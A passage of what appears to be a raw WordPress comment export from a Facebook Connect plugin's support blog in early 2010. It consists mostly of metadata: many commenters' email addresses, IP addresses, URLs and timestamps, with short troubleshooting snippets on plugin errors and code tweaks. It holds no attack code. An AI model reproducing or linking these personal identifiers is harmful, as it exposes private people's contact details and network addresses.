10:53:03 2010-01-15 16:53:03 1 7286 1 7288 dave@davebc.com http://finerthingsin.com 98.227.111.78 2010-01-15 11:00:34 2010-01-15 17:00:34 1 7287 0 7290 apps+116002660893.598708205.367c601d9144eb606a088a9cde6e5c6e@proxymail.facebook.com http://www.facebook.com/mitchell.wischmann 64.83.215.86 2010-01-15 21:56:40 2010-01-16 03:56:40 1 6983 0 7291 apps+116002660893.598708205.367c601d9144eb606a088a9cde6e5c6e@proxymail.facebook.com http://www.facebook.com/mitchell.wischmann 64.83.215.86 2010-01-15 22:01:29 2010-01-16 04:01:29 Click here to go to my site.]]> 1 7055 0 7292 elcesar@gmail.com 201.173.27.244 2010-01-16 13:03:42 2010-01-16 19:03:42 1 0 0 7293 elcesar@gmail.com 201.173.27.244 2010-01-16 13:19:58 2010-01-16 19:19:58 1 7292 0 7294 elcesar@gmail.com 201.173.27.244 2010-01-16 13:24:16 2010-01-16 19:24:16 1 7293 0 7295 http://www.scriptbookmarks.de/story/508 85.214.72.135 2010-01-17 13:20:43 2010-01-17 19:20:43 Simple Facebook Connect... Facebook Connect is somewhat difficult to integrate with WordPress sites. Many plugins exist to do this, but they are overly complicated, or have security problems, or just plain don’t do the things you want them to do. It doesn’t have to be this way. ...]]> 1 trackback 0 0 7296 francisfontaine@gmail.com 69.70.86.126 2010-01-18 08:30:20 2010-01-18 14:30:20 1 0 0 7297 sirjup@gmail.com 174.96.60.32 2010-01-18 11:08:55 2010-01-18 17:08:55 1 0 0 7298 dave@strykeronline.com 169.132.18.1 2010-01-18 15:25:22 2010-01-18 21:25:22 Wordbooker plugin has done some work on this but it is in it's early stages. Adding this feature would make your plugin the most robust and complete yet simple plugin available. I would be willing to make a nice donation to the "Buy Otto a beer fund" for this functionality. Look forward to hearing your thoughts. -dave]]> 1 0 0 7299 psychicventures@gmail.com http://www.psychicweb.com/live 173.27.218.102 2010-01-18 15:29:15 2010-01-18 21:29:15 1 0 0 7300 http://www.sitozcan.com/17313/wordpress-plugin-releases-for-0112/ 77.92.75.98 2010-01-18 16:56:37 2010-01-18 22:56:37 1 pingback 0 0 7301 apps+116002660893.749583053.9239bd80b9d11ace9775d7c9ca421a3b@proxymail.facebook.com http://www.facebook.com/profile.php?id=749583053 97.95.128.174 2010-01-18 21:49:20 2010-01-19 03:49:20 1 0 0 7302 apps+116002660893.749583053.9239bd80b9d11ace9775d7c9ca421a3b@proxymail.facebook.com http://www.facebook.com/profile.php?id=749583053 97.95.128.174 2010-01-18 21:50:00 2010-01-19 03:50:00 1 7301 0 7303 apps+116002660893.749583053.9239bd80b9d11ace9775d7c9ca421a3b@proxymail.facebook.com http://www.facebook.com/profile.php?id=749583053 97.95.128.174 2010-01-18 21:54:18 2010-01-19 03:54:18 1 7302 0 7304 apps+116002660893.749583053.9239bd80b9d11ace9775d7c9ca421a3b@proxymail.facebook.com http://www.facebook.com/profile.php?id=749583053 97.95.128.174 2010-01-18 22:03:08 2010-01-19 04:03:08 1 7303 0 7305 psychicventures@gmail.com http://www.psychicweb.com/live 173.27.218.102 2010-01-19 00:14:07 2010-01-19 06:14:07 1 0 0 7306 apps+116002660893.1207013077.e63752f46816ba629dc643dbabec95f5@proxymail.facebook.com http://www.facebook.com/terkel 87.55.75.238 2010-01-19 08:15:49 2010-01-19 14:15:49 1 0 0 7307 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-19 09:05:49 2010-01-19 15:05:49 1 7294 1 7308 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-19 09:07:52 2010-01-19 15:07:52 1 7297 1 7309 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-19 09:16:10 2010-01-19 15:16:10 1 7298 1 7310 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-19 09:25:27 2010-01-19 15:25:27 1 7304 1 7311 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-19 09:27:20 2010-01-19 15:27:20 1 7305 1 7312 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-19 09:31:23 2010-01-19 15:31:23 1 7306 1 7313 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-19 09:32:14 2010-01-19 15:32:14 1 7299 1 7314 josh@joshparker.us http://www.joshmac.net/ 71.233.150.173 2010-01-19 12:02:51 2010-01-19 18:02:51 1 0 0 7315 josh@joshparker.us http://www.joshmac.net/ 71.233.150.173 2010-01-19 12:56:16 2010-01-19 18:56:16 1 0 0 7316 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-19 13:00:02 2010-01-19 19:00:02 1 7315 1 7317 dave@strykeronline.com 169.132.18.1 2010-01-19 15:38:28 2010-01-19 21:38:28 1 7309 0 7318 josh@joshparker.us http://www.joshmac.net/ 71.233.150.173 2010-01-19 15:59:07 2010-01-19 21:59:07 1 7316 0 7319 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-19 15:59:56 2010-01-19 21:59:56 1 7317 1 7320 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-19 16:03:26 2010-01-19 22:03:26 1 7318 1 7321 josh@joshparker.us http://www.joshmac.net/ 71.233.150.173 2010-01-19 16:54:22 2010-01-19 22:54:22 1 0 0 7322 apps+116002660893.749583053.9239bd80b9d11ace9775d7c9ca421a3b@proxymail.facebook.com http://www.facebook.com/profile.php?id=749583053 97.95.128.174 2010-01-19 21:02:31 2010-01-20 03:02:31 1 7310 0 7323 Oliver-Steinmetz@web.de 93.193.11.5 2010-01-19 23:16:52 2010-01-20 05:16:52 1 0 0 7324 apps+116002660893.1341331086.e1a67bef5df0d1be172b930068e32b72@proxymail.facebook.com http://www.facebook.com/maurizio.monaci 213.92.86.37 2010-01-20 04:05:10 2010-01-20 10:05:10 1 0 0 7325 http://www.autourduweb.fr/6-plugins-wordpress-pour-facebook/ 212.227.29.186 2010-01-20 10:02:54 2010-01-20 16:02:54 1 pingback 0 0 7326 dave@strykeronline.com 169.132.18.1 2010-01-20 10:03:08 2010-01-20 16:03:08 1 7319 0 7327 dave@strykeronline.com 169.132.18.1 2010-01-20 10:05:36 2010-01-20 16:05:36 1 7326 0 7328 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-20 11:05:30 2010-01-20 17:05:30 1 7322 1 7329 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-20 11:11:14 2010-01-20 17:11:14 1 7327 1 7330 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-20 16:18:03 2010-01-20 22:18:03 1 7327 1 7333 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-22 12:06:06 2010-01-22 18:06:06 1 7332 1 7334 psychicventures@gmail.com http://www.psychicweb.com/live 173.27.218.102 2010-01-22 12:22:28 2010-01-22 18:22:28 1 7321 0 7335 sahas@skattertech.com 67.172.181.124 2010-01-22 12:28:22 2010-01-22 18:28:22 1 0 0 7336 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-22 12:36:12 2010-01-22 18:36:12 1 7335 1 7337 dave@strykeronline.com 169.132.18.1 2010-01-22 13:00:31 2010-01-22 19:00:31 1 7330 0 7338 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-22 13:11:06 2010-01-22 19:11:06 Your Profile page). The Register plugin makes the button on the wp-login screen create new users if they're not already users on your site.]]> 1 7334 1 7339 mpoyner@gmail.com http://filterhype.com 24.170.226.94 2010-01-22 18:05:10 2010-01-23 00:05:10 1 0 0 7341 dave@strykeronline.com 173.3.109.62 2010-01-22 23:16:04 2010-01-23 05:16:04 1 0 0 7342 jerome.carujo@gmail.com http://www.entre-france-et-coree.com/ 88.170.65.188 2010-01-23 03:17:23 2010-01-23 09:17:23 1 0 0 7343 rm_blogger@yahoo.com http://www.sickcrimes.us 12.50.149.2 2010-01-23 08:53:36 2010-01-23 14:53:36 1 0 0 7344 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-23 11:25:20 2010-01-23 17:25:20 1 7341 1 7345 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-23 11:25:47 2010-01-23 17:25:47 1 7343 1 7346 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-23 11:29:37 2010-01-23 17:29:37 1 7342 1 7430 alexkrueger@fixodernix.de http://ifixblog.de 87.122.129.104 2010-02-03 04:44:07 2010-02-03 10:44:07 1 0 0 7348 jerome.carujo@gmail.com http://www.entre-france-et-coree.com/ 88.170.65.188 2010-01-23 12:30:36 2010-01-23 18:30:36 1 7346 0 7349 rm_blogger@yahoo.com http://www.sickcrimes.us 12.50.149.2 2010-01-23 15:36:17 2010-01-23 21:36:17 1 7345 0 7350 dave@strykeronline.com 173.3.109.62 2010-01-23 16:58:32 2010-01-23 22:58:32 1 7344 0 7351 http://blog.godbus.com/great-plugins-to-socialize-your-wordpress-blog/ 70.32.68.28 2010-01-24 01:28:57 2010-01-24 07:28:57 1 pingback 0 0 7353 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-25 09:03:06 2010-01-25 15:03:06 Googling tells me that the problem is not uncommon, and appears to be related to the server not being able to talk to Facebook directly. Also some problems related to Curl or similar. I'll see if I can figure out a way to detect the issue, but what it comes down to is that if the library can't talk to Facebook, then nothing will work.]]> 1 7350 1 7354 rm_blogger@yahoo.com http://www.sickcrimes.us 66.190.165.20 2010-01-25 10:50:17 2010-01-25 16:50:17 1 7345 0 7355 dave@strykeronline.com 169.132.18.1 2010-01-25 13:21:05 2010-01-25 19:21:05 1 7353 0 7356 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-25 13:25:05 2010-01-25 19:25:05 1 7355 1 7357 dave@strykeronline.com 169.132.18.1 2010-01-25 13:42:00 2010-01-25 19:42:00 1 7356 0 7358 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-25 13:43:26 2010-01-25 19:43:26 1 7357 1 7359 dave@strykeronline.com 169.132.18.1 2010-01-25 14:34:46 2010-01-25 20:34:46 have_posts() && $jquery): ?> have_posts()): $rp_query->the_post(); ?> <div id="post-" > <a href="" rel="bookmark" title="Permanent Link to "> - ]]> 1 7358 0 7360 dave@strykeronline.com 169.132.18.1 2010-01-25 14:38:38 2010-01-25 20:38:38 1 7359 0 7361 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-25 14:44:51 2010-01-25 20:44:51 1 7359 1 7435 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-03 09:33:44 2010-02-03 15:33:44 1 7434 1 7454 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-04 08:12:59 2010-02-04 14:12:59 I have the same problem. Until Facebook fixes it, it ain't getting fixed.]]> 1 7453 1 7368 thorndy76@gmail.com 24.236.161.118 2010-01-27 03:26:27 2010-01-27 09:26:27 1 0 0 7369 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-27 08:38:50 2010-01-27 14:38:50 1 7368 1 7370 http://social.houndcomputers.com/?p=14 64.71.228.205 2010-01-27 20:41:22 2010-01-28 02:41:22 1 pingback 0 0 7371 mayer@aliencamel.com http://www.orbis.info 193.72.72.168 2010-01-28 12:38:39 2010-01-28 18:38:39 1 0 0 7372 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-28 12:46:19 2010-01-28 18:46:19 1 7371 1 7373 mayer@aliencamel.com http://www.orbis.info 193.72.72.168 2010-01-28 12:55:40 2010-01-28 18:55:40 1 0 0 7374 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-28 12:58:11 2010-01-28 18:58:11 1 7373 1 7375 mayer@aliencamel.com http://www.orbis.info 193.72.72.168 2010-01-28 13:12:29 2010-01-28 19:12:29 1 0 0 7376 mail@justinflener.net 65.122.177.162 2010-01-28 15:44:16 2010-01-28 21:44:16 1 0 0 7377 mail@justinflener.net 65.122.177.162 2010-01-28 16:09:20 2010-01-28 22:09:20 1 7376 0 7434 john.libonati@glutenfreeworks.com http://www.glutenfreeworks.com 71.175.118.60 2010-02-03 09:29:27 2010-02-03 15:29:27 1 0 0 7379 michael.imstepf@gmail.com http://michaelimstepf.com/fb/wp/?p=1 202.124.75.65 2010-01-28 17:53:50 2010-01-28 23:53:50 1 0 0 7380 apps+116002660893.749583053.9239bd80b9d11ace9775d7c9ca421a3b@proxymail.facebook.com http://www.facebook.com/profile.php?id=749583053 97.95.128.174 2010-01-28 20:07:16 2010-01-29 02:07:16 1 7328 0 7382 http://manuelgross.bligoo.com/content/view/714242/31-Herramientas-para-hacer-tu-blog-o-pagina-mas-social.html#content-top 74.86.82.250 2010-01-29 03:33:28 2010-01-29 09:33:28 1 pingback 0 0 7384 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-29 09:26:06 2010-01-29 15:26:06 1 7383 1 7385 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-29 09:29:32 2010-01-29 15:29:32 1 7380 1 7386 xcatchot@gmail.com 80.220.33.205 2010-01-29 10:02:43 2010-01-29 16:02:43 1 7384 0 7387 apps+116002660893.749583053.9239bd80b9d11ace9775d7c9ca421a3b@proxymail.facebook.com http://www.facebook.com/profile.php?id=749583053 97.95.128.174 2010-01-29 11:46:46 2010-01-29 17:46:46 2. Just before the first input, add this code: ` ` 3. Just below the last input (not the comment text area, just the name/email/url inputs, add this: `` I did exactly that. Your plugin does not automatically add anything so I'm not catching what you mean.]]> 1 7385 0 7388 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-29 12:01:28 2010-01-29 18:01:28 1 7385 1 7389 hamed@hemmati.us http://polesabz.com 68.105.250.82 2010-01-29 20:14:00 2010-01-30 02:14:00 1 0 0 7390 hamed@hemmati.us http://polesabz.com 68.105.250.82 2010-01-29 22:12:24 2010-01-30 04:12:24 1 0 0 7391 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-30 12:28:59 2010-01-30 18:28:59 1 7390 1 7392 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-30 12:33:46 2010-01-30 18:33:46 1 7390 1 7393 hamed@hemmati.us http://polesabz.com 68.105.250.82 2010-01-30 13:52:34 2010-01-30 19:52:34 1 7391 0 7394 hamed@hemmati.us http://polesabz.com 68.105.250.82 2010-01-30 13:54:53 2010-01-30 19:54:53 1 7392 0 7395 hamed@hemmati.us http://polesabz.com 68.105.250.82 2010-01-30 13:57:52 2010-01-30 19:57:52 1 0 0 7396 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-30 14:14:39 2010-01-30 20:14:39 1 7394 1 7397 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-01-30 14:20:51 2010-01-30 20:20:51 Your Profile, there's a new option there to Connect the account to a Facebook account. That's what this does, to verify that you are you and then gets the FB ID number to fill in that field.]]> 1 7395 1 7398 hamed@hemmati.us http://polesabz.com 68.105.250.82 2010-01-30 15:18:07 2010-01-30 21:18:07 1 7397 0 7399 erickson_exclusive@yahoo.com http://erickson-online.co.cc 58.69.17.199 2010-01-31 02:23:16 2010-01-31 08:23:16 1 0 0 7400 erickson_exclusive@yahoo.com http://erickson-online.co.cc 58.69.17.199 2010-01-31 02:28:23 2010-01-31 08:28:23 1 7399 0 7401 michaelpeerman@gmail.com 68.52.61.137 2010-01-31 02:47:11 2010-01-31 08:47:11 1 0 0 7403 michaelpeerman@gmail.com 68.52.61.137 2010-01-31 04:06:07 2010-01-31 10:06:07 <a onclick="FB.Connect.logout(function() { reload(false); }); return false;" href="">]]> 1 0 0 7405 svacant@gmail.com http://blog.svacant.com 94.37.33.103 2010-01-31 05:18:44 2010-01-31 11:18:44 1 0 0 7406 erickson_exclusive@yahoo.com http://erickson-online.co.cc 58.69.17.199 2010-01-31 11:54:38 2010-01-31 17:54:38 1 7400 0 7407 nocturnaloner@sbcglobal.net http://www.patriotsunrooms.com/blog 68.184.196.113 2010-01-31 16:47:27 2010-01-31 22:47:27 1 0 0 7408 jessewilsonbusiness@gmail.com http://jesse.la 76.168.85.253 2010-01-31 20:04:53 2010-02-01 02:04:53 1 0 0 7409 jessewilsonbusiness@gmail.com http://jesse.la 76.168.85.253 2010-01-31 21:17:33 2010-02-01 03:17:33 1 0 0 7410 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-01 09:11:28 2010-02-01 15:11:28 1 7406 1 7411 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-01 09:14:33 2010-02-01 15:14:33 1 7405 1 7412 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-01 09:16:15 2010-02-01 15:16:15 1 7409 1 7413 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-01 09:20:27 2010-02-01 15:20:27 1 7407 1 7427 michael.imstepf@gmail.com http://michaelimstepf.com/fb/wp/?p=1 122.106.214.111 2010-02-02 14:48:33 2010-02-02 20:48:33 1 7426 0 7414 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-01 09:22:13 2010-02-01 15:22:13 1 7403 1 7415 http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/ 64.202.163.10 2010-02-01 11:22:02 2010-02-01 17:22:02 1 pingback 0 0 7416 svacant@gmail.com http://blog.svacant.com 94.37.20.245 2010-02-01 11:32:58 2010-02-01 17:32:58 1 7411 0 7418 sokheng22@hotmail.com 122.252.180.252 2010-02-01 13:20:44 2010-02-01 19:20:44 1 0 0 7419 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-01 13:22:45 2010-02-01 19:22:45 1 7418 1 7420 Sokheng22@hotmail.com 122.252.180.252 2010-02-01 14:03:26 2010-02-01 20:03:26 1 0 0 7422 sokheng22@hotmail.com 122.252.180.252 2010-02-02 03:03:17 2010-02-02 09:03:17 1 0 0 7426 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-02 08:32:47 2010-02-02 14:32:47 1 7379 1 7424 http://ariwriter.com/35-wordpress-plugins-i-use-today/ 75.126.130.69 2010-02-02 08:28:17 2010-02-02 14:28:17 1 pingback 0 0 7425 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-02 08:28:22 2010-02-02 14:28:22 1 7422 1 7439 bryan@lewisfamily.us 66.205.128.24 2010-02-03 11:06:38 2010-02-03 17:06:38 1 0 0 7441 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-03 11:17:29 2010-02-03 17:17:29 1 7439 1 7443 bryan@lewisfamily.us 66.205.128.24 2010-02-03 11:49:07 2010-02-03 17:49:07 1 7441 0 7444 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-03 11:53:22 2010-02-03 17:53:22 1 7443 1 7445 bryan@lewisfamily.us 66.205.128.24 2010-02-03 13:20:35 2010-02-03 19:20:35 1 7444 0 7446 psychicventures@gmail.com http://www.psychicweb.com/live 173.27.221.35 2010-02-03 17:46:27 2010-02-03 23:46:27 1 0 0 7447 rb@roeiboot.com http://totalsmartphone.net 65.24.168.143 2010-02-03 22:13:52 2010-02-04 04:13:52 1 0 0 7449 malcolm@towerofbabel.com http://towerofbabel.com 24.16.119.164 2010-02-04 01:09:07 2010-02-04 07:09:07 1 0 0 7450 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-04 07:49:47 2010-02-04 13:49:47 1 7449 1 7451 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-04 07:54:00 2010-02-04 13:54:00 1 7446 1 7452 rb@roeiboot.com http://totalsmartphone.net 96.11.166.21 2010-02-04 07:58:51 2010-02-04 13:58:51 1 0 0 7453 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-04 08:01:16 2010-02-04 14:01:16 not a problem with the plugin. Everything generated inside that blue border popup thing is generated by Facebook. I cannot change those contents. I cannot affect that system in any way whatsoever. If Facebook is sending you a blank popup box, then that's Facebook doing it, not this plugin. Facebook is *broken*. I can't fix it, because I don't work for them.]]> 1 7452 1 7455 rb@roeiboot.com http://totalsmartphone.net 96.11.166.21 2010-02-04 08:13:57 2010-02-04 14:13:57 1 0 0 7456 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-04 08:15:34 2010-02-04 14:15:34 1 7455 1 7457 rb@roeiboot.com http://totalsmartphone.net 96.11.166.21 2010-02-04 08:15:50 2010-02-04 14:15:50 thanks Otto... i'm glad they are seeing the issue and working on it, i hope :}]]> 1 7454 0 7458 simbolosocultos@yahoo.com http://yahoo.com 190.245.219.81 2010-02-04 09:37:59 2010-02-04 15:37:59 1 0 0 7459 simbolosocultos@yahoo.com http://yahoo.com 190.245.219.81 2010-02-04 09:40:02 2010-02-04 15:40:02 1 7458 0 7460 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-04 09:40:38 2010-02-04 15:40:38 1 7458 1 7461 benny@retrojaffa.com http://www.facebook.com/actualbenny 94.6.73.12 2010-02-04 14:56:55 2010-02-04 20:56:55 1 0 0 7462 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-04 15:02:53 2010-02-04 21:02:53 1 7461 1 7463 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-04 15:10:13 2010-02-04 21:10:13 comment_ID) || $id_or_email->user_id) Change it to this: if ( !is_object($id_or_email) || !isset($id_or_email->comment_ID)) Done and done.]]> 1 7461 1 7464 benny@retrojaffa.com http://www.facebook.com/actualbenny 94.6.73.12 2010-02-04 17:42:54 2010-02-04 23:42:54 1 7463 0 7494 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-08 10:09:05 2010-02-08 16:09:05 1 7490 1 7469 minasokoni@gmail.com http://www.facebook.com/RobertBarnwell 209.27.156.146 2010-02-05 09:13:29 2010-02-05 15:13:29 1 0 0 7470 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-05 09:16:04 2010-02-05 15:16:04 1 7469 1 7471 minasokoni@gmail.com http://www.facebook.com/RobertBarnwell 209.27.156.146 2010-02-05 09:17:00 2010-02-05 15:17:00 1 0 0 7472 minasokoni@gmail.com http://www.facebook.com/RobertBarnwell 209.27.156.146 2010-02-05 09:18:39 2010-02-05 15:18:39 1 0 0 7473 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-05 09:21:50 2010-02-05 15:21:50 1 7472 1 7474 minasokoni@gmail.com http://www.facebook.com/RobertBarnwell 209.27.156.146 2010-02-05 09:34:35 2010-02-05 15:34:35 1 0 0 7475 ccazorla@gmail.com 201.238.229.146 2010-02-05 10:51:35 2010-02-05 16:51:35 1 0 0 7476 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-05 11:55:00 2010-02-05 17:55:00 1 7475 1 7477 ccazorla@gmail.com 201.238.229.146 2010-02-05 12:31:25 2010-02-05 18:31:25 1 7476 0 7478 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-05 12:34:37 2010-02-05 18:34:37 1 7477 1 7479 ccazorla@gmail.com 201.238.229.146 2010-02-05 12:46:10 2010-02-05 18:46:10 1 7478 0 7480 bardsart@gmail.com http://www.everythinglongbeach.com/ 71.165.239.61 2010-02-05 16:03:42 2010-02-05 22:03:42 1 0 0 7481 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-05 16:08:54 2010-02-05 22:08:54 1 7480 1 7482 bardsart@gmail.com http://www.everythinglongbeach.com 71.165.239.61 2010-02-05 16:40:28 2010-02-05 22:40:28 1 7481 0 7483 me@glark.org http://glark.org 69.86.131.182 2010-02-05 21:59:32 2010-02-06 03:59:32 1 0 0 7485 cobain@gmail.com http://www.facebook.com/iAmNotorious 99.189.97.91 2010-02-07 02:36:15 2010-02-07 08:36:15 1 0 0 7486 frank@fcd.com.au http://onelove.com.au 124.180.46.122 2010-02-07 04:44:26 2010-02-07 10:44:26 1 0 0 7487 deandagati@nyu.edu http://deandagati.com 216.165.56.109 2010-02-07 10:02:26 2010-02-07 16:02:26 1 0 0 7488 dave@strykeronline.com 173.3.109.62 2010-02-07 14:04:30 2010-02-07 20:04:30 1 7487 0 7489 deandagati@nyu.edu http://deandagati.com 216.165.56.109 2010-02-07 14:29:15 2010-02-07 20:29:15 1 7488 0 7490 nityin@himvani.com http://www.himachallive.com 117.200.67.145 2010-02-07 16:26:14 2010-02-07 22:26:14 site]]> 1 7278 0 7491 rb@roeiboot.com http://totalsmartphone.net 65.24.168.143 2010-02-07 16:27:09 2010-02-07 22:27:09 1 0 0 7493 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-08 08:45:26 2010-02-08 14:45:26 1 7485 1 7495 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-08 10:11:22 2010-02-08 16:11:22 1 7486 1 7496 kvstark@msn.com http://www.usmccca.org/ 74.179.120.92 2010-02-08 12:18:18 2010-02-08 18:18:18 1 0 0 7497 jbusci@msn.com http://winrandwin.com 96.252.206.188 2010-02-08 14:36:35 2010-02-08 20:36:35 1 0 0 7498 dave@strykeronline.com 169.132.18.1 2010-02-09 10:30:20 2010-02-09 16:30:20 1 7496 0 7499 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-09 10:33:33 2010-02-09 16:33:33 1 7497 1 7500 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-09 10:36:00 2010-02-09 16:36:00 1 7496 1 7501 dave@strykeronline.com 169.132.18.1 2010-02-09 11:02:15 2010-02-09 17:02:15 1 0 0 7507 greips@gmail.com 89.129.41.170 2010-02-09 14:12:53 2010-02-09 20:12:53 1 7500 0 7508 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-09 14:18:33 2010-02-09 20:18:33 1 7507 1 7516 greips@gmail.com 89.129.41.170 2010-02-09 16:07:57 2010-02-09 22:07:57 1 7508 0 7517 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-09 16:12:47 2010-02-09 22:12:47 1 7516 1 7518 greips@gmail.com 89.129.41.170 2010-02-09 16:28:01 2010-02-09 22:28:01 1 7517 0 7566 intarweb@andrewmartens.com http://www.andrewmartens.com/ 209.17.135.1 2010-02-10 16:57:35 2010-02-10 22:57:35 1 0 0 7567 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-10 16:59:20 2010-02-10 22:59:20 1 7566 1 7568 intarweb@andrewmartens.com http://www.andrewmartens.com/ 209.17.135.1 2010-02-10 17:09:00 2010-02-10 23:09:00 1 7567 0 7569 grzegorz.marczak@gmail.com http://antyweb.pl 94.75.116.94 2010-02-10 18:52:25 2010-02-11 00:52:25 1 0 0 7570 moncheeyuson@gmail.com http://www.facebook.com/moncheeyuson 112.200.216.112 2010-02-10 22:40:00 2010-02-11 04:40:00 1 0 0 7609 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-15 08:46:09 2010-02-15 14:46:09 1 7592 1 7572 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-11 08:32:10 2010-02-11 14:32:10 1 7569 1 7573 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-11 08:32:48 2010-02-11 14:32:48 1 7570 1 7576 jez.cope@gmail.com http://www.facebook.com/jezcope 82.33.73.81 2010-02-11 12:41:52 2010-02-11 18:41:52 "If you can see this, then there is some form of problem showing you the Facebook publishing buttons. This may be caused by a plugin conflict or some form of bad javascript on this page. Try reloading or disabling other plugins to find the source of the problem." Chrome's Javascript console shows that the following error is occurring (personal details censored): Unsafe JavaScript attempt to access frame with URL http://{my domain}/wp-admin/post.php?action=edit&post=136 from frame with URL http://www.facebook.com/extern/login_status.php?api_key={my API key}&extern=2&channel=http%3A%2F%2F(my domain}%2F%3Fxd_receiver%3D1&locale=en_US. Domains, protocols and ports must match. This seems to be a security problem, and as expected, disabling all other plugins doesn't make it go away. Any suggestions? Thanks, Jez]]> 1 0 0 7577 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-11 12:52:06 2010-02-11 18:52:06 absolutely identical. Anything less will cause this same sort of error. This is because Facebook is setting cookies for your site, and to do that, it has to know your site's exact address. Refer to my post on the topic for more information: http://ottodestruct.com/blog/2010/how-to-setup-your-facebook-connect-application/]]> 1 7576 1 7578 http://tutorialblog.org/facebook-connect-wordpress-plugins/ 216.157.36.216 2010-02-11 20:05:38 2010-02-12 02:05:38 1 pingback 0 0 7579 xcatchot@gmail.com 80.220.33.205 2010-02-12 03:28:59 2010-02-12 09:28:59 1 0 0 7580 moncheeyuson@gmail.com http://www.facebook.com/moncheeyuson 112.203.170.154 2010-02-12 04:22:50 2010-02-12 10:22:50 1 7573 0 7581 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-12 08:41:41 2010-02-12 14:41:41 1 7579 1 7582 xcatchot@gmail.com 80.220.33.205 2010-02-12 09:06:28 2010-02-12 15:06:28 1 0 0 7583 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-12 10:01:51 2010-02-12 16:01:51 1 7582 1 7584 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-12 10:07:02 2010-02-12 16:07:02 remove_action('wp_enqueue_scripts','sfc_featureloader'); remove_action('wp_footer','sfc_add_base_js',20); ]]> 1 7582 1 7585 dave@strykeronline.com 169.132.18.1 2010-02-12 10:35:23 2010-02-12 16:35:23 1 7501 0 7586 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-02-12 10:56:15 2010-02-12 16:56:15 1 0 0 7587 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-12 11:03:17 2010-02-12 17:03:17 1 7586 1 7588 dave@strykeronline.com http://drivingwhiledumb.com 169.132.18.1 2010-02-12 11:19:51 